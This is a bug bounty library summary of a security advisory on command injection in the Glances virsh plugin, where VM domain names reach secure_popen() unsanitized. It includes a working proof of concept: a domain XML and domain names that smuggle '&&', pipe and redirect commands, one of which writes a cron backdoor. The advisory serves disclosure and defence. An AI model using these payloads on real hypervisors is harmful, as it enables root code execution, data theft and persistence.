# Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py

Glances interpolates unsanitized KVM domain names into secure_popen() command strings, letting a libvirt-privileged attacker run arbitrary commands as the Glances user (often root).

- Payout: Research
- Severity: high
- Program: Glances
- Found by: sectroyer
- Disclosed: 2026-06-22
- CVE: CVE-2026-46606
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v5r2-qh84-fjx5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v5r2-qh84-fjx5
- Tags: area:cloud domain:infra impact:integrity impact:privesc impact:rce kind:research platform:ghsa sev:high tech:linux tech:python technique:source-review vuln:command-injection vuln:rce

**Target:** Glances vms plugin virsh engine (glances/plugins/vms/engines/virsh.py)
**Root cause:** Domain names parsed from `virsh list --all` are f-string-interpolated into commands passed to secure_popen(), which deliberately splits on `&&`, `|`, and `>` and executes each part. No sanitization is applied, unlike actions.py which uses _sanitize_mustache_dict().
**Steps:**
1. Define a libvirt domain whose name contains a shell operator, e.g. `<name>productionDB && touch /tmp/glances_pwned</name>`, and run `virsh define evil-domain.xml`.
2. Start Glances with the vms plugin enabled against the hypervisor (`glances`).
3. On the next cycle Glances runs `virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"`; secure_popen splits on `&&` and executes `touch /tmp/glances_pwned`.
4. Verify with `ls -la /tmp/glances_pwned`.
5. Pipe variant: domain `productionDB | tee /tmp/virsh_output_stolen.txt` exfiltrates virsh output; redirect variant `productionDB > /etc/cron.d/glances_backdoor` writes arbitrary files.
**How found:** Code review of virsh.py found domain names from `virsh list --all` flowing unsanitized into f-strings passed to secure_popen(); noting secure_popen intentionally interprets `&&`, `|`, `>` and that actions.py sanitizes but vms does not, they tested all three operators.
**Exploitation:** Attacker with libvirt domain-create/rename rights (libvirt group membership or cloud tenant API) names a VM with `&&`, `|`, or `>` payloads. Glances, typically running as root on the hypervisor, interpolates the name into virsh domstats/domtitle calls; secure_popen splits and executes the injected command, yielding arbitrary command execution, file write (e.g. cron persistence) and data exfiltration.
**Escalation:** `>` redirection into /etc/cron.d or authorized_keys gives persistence; root-run Glances turns libvirt-group access into host root RCE.
**Insight:** When a helper is named 'secure_popen' but intentionally implements shell operator splitting, any interpolated external string (VM names, container names, process titles from monitoring APIs) becomes an injection sink; grep monitoring tools for f-strings feeding such helpers and compare against sibling modules that do sanitize.

## Proof of concept (copied exactly from the original report)

**Malicious libvirt domain XML with && injection**

```
<domain type="kvm">
  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>
  <memory>131072</memory>
  <vcpu>1</vcpu>
  <os><type arch="x86_64">hvm</type></os>
</domain>

virsh define evil-domain.xml
```

**Minimal Python reproduction of secure_popen injection**

```
import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.secure import secure_popen

# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`
```

**Pipe and redirect injection domain names**

```
Domain name: `"productionDB | tee /tmp/virsh_output_stolen.txt"`

The output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.

**File-write injection (`>`) example**

Domain name: `"productionDB > /etc/cron.d/glances_backdoor"`

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.
```

